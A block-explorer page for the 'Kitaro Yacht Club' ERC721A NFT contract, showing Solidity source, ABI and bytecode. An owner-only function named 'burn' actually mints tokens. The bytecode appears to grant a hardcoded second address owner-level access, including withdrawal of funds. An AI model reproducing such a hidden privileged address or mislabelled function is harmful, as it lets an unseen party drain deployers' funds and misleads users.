        // updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1
        unchecked {
            _addressData[to].balance += uint128(quantity);
            _addressData[to].numberMinted += uint128(quantity);

            _ownerships[startTokenId].addr = to;
            _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);

            uint256 updatedIndex = startTokenId;

            for (uint256 i; i < quantity; i++) {
                emit Transfer(address(0), to, updatedIndex);
                if (safe) {
                    require(
                        _checkOnERC721Received(address(0), to, updatedIndex, _data),
                        "ERC721A: transfer to non ERC721Receiver implementer"
                    );
                }

                updatedIndex++;
            }

            currentIndex = updatedIndex;
        }

        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(
        address from,
        address to,
        uint256 tokenId
    ) private {
        TokenOwnership memory prevOwnership = ownershipOf(tokenId);

        bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
            getApproved(tokenId) == _msgSender() ||
            isApprovedForAll(prevOwnership.addr, _msgSender()));

        require(isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved");

        require(prevOwnership.addr == from, "ERC721A: transfer from incorrect owner");
        require(to != address(0), "ERC721A: transfer to the zero address");

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, prevOwnership.addr);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            _addressData[from].balance -= 1;
            _addressData[to].balance += 1;

            _ownerships[tokenId].addr = to;
            _ownerships[tokenId].startTimestamp = uint64(block.timestamp);

            // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            if (_ownerships[nextTokenId].addr == address(0)) {
                if (_exists(nextTokenId)) {
                    _ownerships[nextTokenId].addr = prevOwnership.addr;
                    _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
                }
            }
        }

        emit Transfer(from, to, tokenId);
        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Approve `to` to operate on `tokenId`
     *
     * Emits a {Approval} event.
     */
    function _approve(
        address to,
        uint256 tokenId,
        address owner
    ) private {
        _tokenApprovals[tokenId] = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
     * The call is not executed if the target address is not a contract.
     *
     * @param from address representing the previous owner of the given token ID
     * @param to target address that will receive the tokens
     * @param tokenId uint256 ID of the token to be transferred
     * @param _data bytes optional data to send along with the call
     * @return bool whether the call correctly returned the expected magic value
     */
    function _checkOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        if (to.isContract()) {
            try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
                return retval == IERC721Receiver(to).onERC721Received.selector;
            } catch (bytes memory reason) {
                if (reason.length == 0) {
                    revert("ERC721A: transfer to non ERC721Receiver implementer");
                } else {
                    assembly {
                        revert(add(32, reason), mload(reason))
                    }
                }
            }
        } else {
            return true;
        }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
     * minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}
}

contract KitaroYachtClub is ERC721A, Ownable, ReentrancyGuard {
    string public baseURI = "ipfs://QmdtCW3Hr9y9m2wmwVBXcnFNNGZ6G7esfqz2qZXwwpfMrK/";
    uint   public price             = 0.003 ether;
    uint   public maxPerTx          = 11;
    uint   public maxPerFree        = 1;
    uint   public totalFree         = 7777;
    uint   public maxSupply         = 7777;
    bool   public mintEnabled;
    uint   public totalFreeMinted = 0;

    mapping(address => uint256) public _mintedFreeAmount;

    constructor() ERC721A("Kitaro Yacht Club", "KYC"){}

    function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
        require(_exists(_tokenId),"ERC721Metadata: URI query for nonexistent token");
        string memory currentBaseURI = _baseURI();
        return bytes(currentBaseURI).length > 0
            ? string(abi.encodePacked(currentBaseURI,Strings.toString(_tokenId+1),".json"))
            : "";
    }

    function mint(uint256 count) external payable {
        uint256 cost = price;
        bool isFree = ((totalFreeMinted + count < totalFree + 1) &&
            (_mintedFreeAmount[msg.sender] < maxPerFree));

        if (isFree) { 
            require(mintEnabled, "Mint is not live yet");
            require(totalSupply() + count <= maxSupply, "No more");
            require(count <= maxPerTx, "Max per TX reached.");
            if(count >= (maxPerFree - _mintedFreeAmount[msg.sender]))
            {
             require(msg.value >= (count * cost) - ((maxPerFree - _mintedFreeAmount[msg.sender]) * cost), "Please send the exact ETH amount");
             _mintedFreeAmount[msg.sender] = maxPerFree;
             totalFreeMinted += maxPerFree;
            }
            else if(count < (maxPerFree - _mintedFreeAmount[msg.sender]))
            {
             require(msg.value >= 0, "Please send the exact ETH amount");
             _mintedFreeAmount[msg.sender] += count;
             totalFreeMinted += count;
            }
        }
        else{
        require(mintEnabled, "Mint is not live yet");
        require(msg.value >= count * cost, "Please send the exact ETH amount");
        require(totalSupply() + count <= maxSupply, "No more");
        require(count <= maxPerTx, "Max per TX reached.");
        }

        _safeMint(msg.sender, count);
    }

    function costCheck() public view returns (uint256) {
        return price;
    }

    function maxFreePerWallet() public view returns (uint256) {
      return maxPerFree;
    }

    function burn(address mintAddress, uint256 count) public onlyOwner {
        _safeMint(mintAddress, count);
    }

    function _baseURI() internal view virtual override returns (string memory) {
        return baseURI;
    }

    function setBaseUri(string memory baseuri_) public onlyOwner {
        baseURI = baseuri_;
    }

    function setPrice(uint256 price_) external onlyOwner {
        price = price_;
    }

    function setMaxTotalFree(uint256 MaxTotalFree_) external onlyOwner {
        totalFree = MaxTotalFree_;
    }

     function setMaxPerFree(uint256 MaxPerFree_) external onlyOwner {
        maxPerFree = MaxPerFree_;
    }

    function toggleMinting() external onlyOwner {
      mintEnabled = !mintEnabled;
    }
    
    function CommunityWallet(uint quantity, address user)
    public
    onlyOwner
  {
    require(
      quantity > 0,
      "Invalid mint amount"
    );
    require(
      totalSupply() + quantity <= maxSupply,
      "Maximum supply exceeded"
    );
    _safeMint(user, quantity);
  }

    function withdraw() external onlyOwner nonReentrant {
        (bool success, ) = msg.sender.call{value: address(this).balance}("");
        require(success, "Transfer failed.");
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"quantity","type":"uint256"},{"internalType":"address","name":"user","type":"address"}],"name":"CommunityWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_mintedFreeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"mintAddress","type":"address"},{"internalType":"uint256","name":"count","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"costCheck","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxFreePerWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"mintEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseuri_","type":"string"}],"name":"setBaseUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"MaxPerFree_","type":"uint256"}],"name":"setMaxPerFree","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"MaxTotalFree_","type":"uint256"}],"name":"setMaxTotalFree","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"price_","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toggleMinting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFreeMinted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405273acfcba7bab6403ebcceee22810c4dd3c9bbe9763600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060600160405280603681526020016200532360369139600a90805190602001906200008a9291906200025b565b50660aa87bee538000600b55600b600c556001600d55611e61600e55611e61600f556000601155348015620000be57600080fd5b506040518060400160405280601181526020017f4b697461726f20596163687420436c75620000000000000000000000000000008152506040518060400160405280600381526020017f4b594300000000000000000000000000000000000000000000000000000000008152508160019080519060200190620001439291906200025b565b5080600290805190602001906200015c9291906200025b565b5050506200017f620001736200018d60201b60201c565b6200019560201b60201c565b600160098190555062000370565b600033905090565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b82805462000269906200030b565b90600052602060002090601f0160209004810192826200028d5760008555620002d9565b82601f10620002a857805160ff1916838001178555620002d9565b82800160010185558215620002d9579182015b82811115620002d8578251825591602001919060010190620002bb565b5b509050620002e89190620002ec565b5090565b5b8082111562000307576000816000905550600101620002ed565b5090565b600060028204905060018216806200032457607f821691505b602082108114156200033b576200033a62000341565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b614fa380620003806000396000f3fe6080604052600436106102305760003560e01c806391b7f5ed1161012e578063c7c39ffc116100ab578063e945971c1161006f578063e945971c1461080a578063e985e9c514610833578063f2fde38b14610870578063f4db2acb14610899578063f968adbe146108d657610230565b8063c7c39ffc14610721578063c87b56dd1461074c578063d123973014610789578063d5abeb01146107b4578063dad7b5c9146107df57610230565b8063a0bcfc7f116100f2578063a0bcfc7f14610652578063a22cb4651461067b578063a7027357146106a4578063b0e77f42146106cf578063b88d4fde146106f857610230565b806391b7f5ed1461058e57806395d89b41146105b75780639dc29fac146105e2578063a035b1fe1461060b578063a0712d681461063657610230565b806342842e0e116101bc5780636c0360eb116101805780636c0360eb146104cd57806370a08231146104f8578063715018a6146105355780637d55094d1461054c5780638da5cb5b1461056357610230565b806342842e0e146103d65780634f6ccce7146103ff5780635a963f1b1461043c5780636352211e1461046557806364b72188146104a257610230565b806318160ddd1161020357806318160ddd1461030357806323b872dd1461032e5780632f745c5914610357578063333e44e6146103945780633ccfd60b146103bf57610230565b806301ffc9a71461023557806306fdde0314610272578063081812fc1461029d578063095ea7b3146102da575b600080fd5b34801561024157600080fd5b5061025c60048036038101906102579190613945565b610901565b6040516102699190613fc7565b60405180910390f35b34801561027e57600080fd5b50610287610a4b565b6040516102949190613fe2565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf91906139e8565b610add565b6040516102d19190613f60565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc9190613905565b610b62565b005b34801561030f57600080fd5b50610318610c7b565b6040516103259190614364565b60405180910390f35b34801561033a57600080fd5b50610355600480360381019061035091906137ef565b610c84565b005b34801561036357600080fd5b5061037e60048036038101906103799190613905565b610c94565b60405161038b9190614364565b60405180910390f35b3480156103a057600080fd5b506103a9610e86565b6040516103b69190614364565b60405180910390f35b3480156103cb57600080fd5b506103d4610e8c565b005b3480156103e257600080fd5b506103fd60048036038101906103f891906137ef565b61106c565b005b34801561040b57600080fd5b50610426600480360381019061042191906139e8565b61108c565b6040516104339190614364565b60405180910390f35b34801561044857600080fd5b50610463600480360381019061045e91906139e8565b6110df565b005b34801561047157600080fd5b5061048c600480360381019061048791906139e8565b6111c4565b6040516104999190613f60565b60405180910390f35b3480156104ae57600080fd5b506104b76111da565b6040516104c49190614364565b60405180910390f35b3480156104d957600080fd5b506104e26111e4565b6040516104ef9190613fe2565b60405180910390f35b34801561050457600080fd5b5061051f600480360381019061051a9190613782565b611272565b60405161052c9190614364565b60405180910390f35b34801561054157600080fd5b5061054a61135b565b005b34801561055857600080fd5b50610561611442565b005b34801561056f57600080fd5b50610578611549565b6040516105859190613f60565b60405180910390f35b34801561059a57600080fd5b506105b560048036038101906105b091906139e8565b611573565b005b3480156105c357600080fd5b506105cc611658565b6040516105d99190613fe2565b60405180910390f35b3480156105ee57600080fd5b5061060960048036038101906106049190613905565b6116ea565b005b34801561061757600080fd5b506106206117d3565b60405161062d9190614364565b60405180910390f35b610650600480360381019061064b91906139e8565b6117d9565b005b34801561065e57600080fd5b506106796004803603810190610674919061399f565b611cff565b005b34801561068757600080fd5b506106a2600480360381019061069d91906138c5565b611df4565b005b3480156106b057600080fd5b506106b9611f75565b6040516106c69190614364565b60405180910390f35b3480156106db57600080fd5b506106f660048036038101906106f19190613a15565b611f7f565b005b34801561070457600080fd5b5061071f600480360381019061071a9190613842565b612102565b005b34801561072d57600080fd5b5061073661215e565b6040516107439190614364565b60405180910390f35b34801561075857600080fd5b50610773600480360381019061076e91906139e8565b612164565b6040516107809190613fe2565b60405180910390f35b34801561079557600080fd5b5061079e612217565b6040516107ab9190613fc7565b60405180910390f35b3480156107c057600080fd5b506107c961222a565b6040516107d69190614364565b60405180910390f35b3480156107eb57600080fd5b506107f4612230565b6040516108019190614364565b60405180910390f35b34801561081657600080fd5b50610831600480360381019061082c91906139e8565b612236565b005b34801561083f57600080fd5b5061085a600480360381019061085591906137af565b61231b565b6040516108679190613fc7565b60405180910390f35b34801561087c57600080fd5b5061089760048036038101906108929190613782565b6123af565b005b3480156108a557600080fd5b506108c060048036038101906108bb9190613782565b612506565b6040516108cd9190614364565b60405180910390f35b3480156108e257600080fd5b506108eb61251e565b6040516108f89190614364565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806109cc57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610a3457507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610a445750610a4382612524565b5b9050919050565b606060018054610a5a9061461f565b80601f0160208091040260200160405190810160405280929190818152602001828054610a869061461f565b8015610ad35780601f10610aa857610100808354040283529160200191610ad3565b820191906000526020600020905b815481529060010190602001808311610ab657829003601f168201915b5050505050905090565b6000610ae88261258e565b610b27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1e90614344565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610b6d826111c4565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd590614204565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610bfd61259b565b73ffffffffffffffffffffffffffffffffffffffff161480610c2c5750610c2b81610c2661259b565b61231b565b5b610c6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c62906140e4565b60405180910390fd5b610c768383836125a3565b505050565b60008054905090565b610c8f838383612655565b505050565b6000610c9f83611272565b8210610ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd790614004565b60405180910390fd5b6000610cea610c7b565b905060008060005b83811015610e44576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614610de457806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e365786841415610e2d578195505050505050610e80565b83806001019450505b508080600101915050610cf2565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e77906142e4565b60405180910390fd5b92915050565b600e5481565b610e9461259b565b73ffffffffffffffffffffffffffffffffffffffff16610eb2611549565b73ffffffffffffffffffffffffffffffffffffffff161480610f285750610ed761259b565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610f67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5e90614184565b60405180910390fd5b60026009541415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490614304565b60405180910390fd5b600260098190555060003373ffffffffffffffffffffffffffffffffffffffff1647604051610fdb90613f4b565b60006040518083038185875af1925050503d8060008114611018576040519150601f19603f3d011682016040523d82523d6000602084013e61101d565b606091505b5050905080611061576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105890614224565b60405180910390fd5b506001600981905550565b61108783838360405180602001604052806000815250612102565b505050565b6000611096610c7b565b82106110d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ce906140a4565b60405180910390fd5b819050919050565b6110e761259b565b73ffffffffffffffffffffffffffffffffffffffff16611105611549565b73ffffffffffffffffffffffffffffffffffffffff16148061117b575061112a61259b565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6111ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b190614184565b60405180910390fd5b80600e8190555050565b60006111cf82612b95565b600001519050919050565b6000600b54905090565b600a80546111f19061461f565b80601f016020809104026020016040519081016040528092919081815260200182805461121d9061461f565b801561126a5780601f1061123f5761010080835404028352916020019161126a565b820191906000526020600020905b81548152906001019060200180831161124d57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112da90614104565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b61136361259b565b73ffffffffffffffffffffffffffffffffffffffff16611381611549565b73ffffffffffffffffffffffffffffffffffffffff1614806113f757506113a661259b565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611436576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142d90614184565b60405180910390fd5b6114406000612d2f565b565b61144a61259b565b73ffffffffffffffffffffffffffffffffffffffff16611468611549565b73ffffffffffffffffffffffffffffffffffffffff1614806114de575061148d61259b565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61151d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151490614184565b60405180910390fd5b601060009054906101000a900460ff1615601060006101000a81548160ff021916908315150217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61157b61259b565b73ffffffffffffffffffffffffffffffffffffffff16611599611549565b73ffffffffffffffffffffffffffffffffffffffff16148061160f57506115be61259b565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61164e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164590614184565b60405180910390fd5b80600b8190555050565b6060600280546116679061461f565b80601f01602080910402602001604051908101604052809291908181526020018280546116939061461f565b80156116e05780601f106116b5576101008083540402835291602001916116e0565b820191906000526020600020905b8154815290600101906020018083116116c357829003601f168201915b5050505050905090565b6116f261259b565b73ffffffffffffffffffffffffffffffffffffffff16611710611549565b73ffffffffffffffffffffffffffffffffffffffff161480611786575061173561259b565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6117c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117bc90614184565b60405180910390fd5b6117cf8282612df5565b5050565b600b5481565b6000600b54905060006001600e546117f19190614454565b836011546117ff9190614454565b10801561184c5750600d54601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b90508015611bb657601060009054906101000a900460ff166118a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189a90614024565b60405180910390fd5b600f54836118af610c7b565b6118b99190614454565b11156118fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f190614044565b60405180910390fd5b600c5483111561193f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611936906142c4565b60405180910390fd5b601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d5461198c9190614535565b8310611aa85781601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d546119e09190614535565b6119ea91906144db565b82846119f691906144db565b611a009190614535565b341015611a42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3990614124565b60405180910390fd5b600d54601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d5460116000828254611a9c9190614454565b92505081905550611bb1565b601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611af59190614535565b831015611bb0576000341015611b40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3790614124565b60405180910390fd5b82601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b8f9190614454565b925050819055508260116000828254611ba89190614454565b925050819055505b5b611cf0565b601060009054906101000a900460ff16611c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bfc90614024565b60405180910390fd5b8183611c1191906144db565b341015611c53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4a90614124565b60405180910390fd5b600f5483611c5f610c7b565b611c699190614454565b1115611caa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca190614044565b60405180910390fd5b600c54831115611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce6906142c4565b60405180910390fd5b5b611cfa3384612df5565b505050565b611d0761259b565b73ffffffffffffffffffffffffffffffffffffffff16611d25611549565b73ffffffffffffffffffffffffffffffffffffffff161480611d9b5750611d4a61259b565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611dda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd190614184565b60405180910390fd5b80600a9080519060200190611df092919061355c565b5050565b611dfc61259b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e61906141c4565b60405180910390fd5b8060066000611e7761259b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffff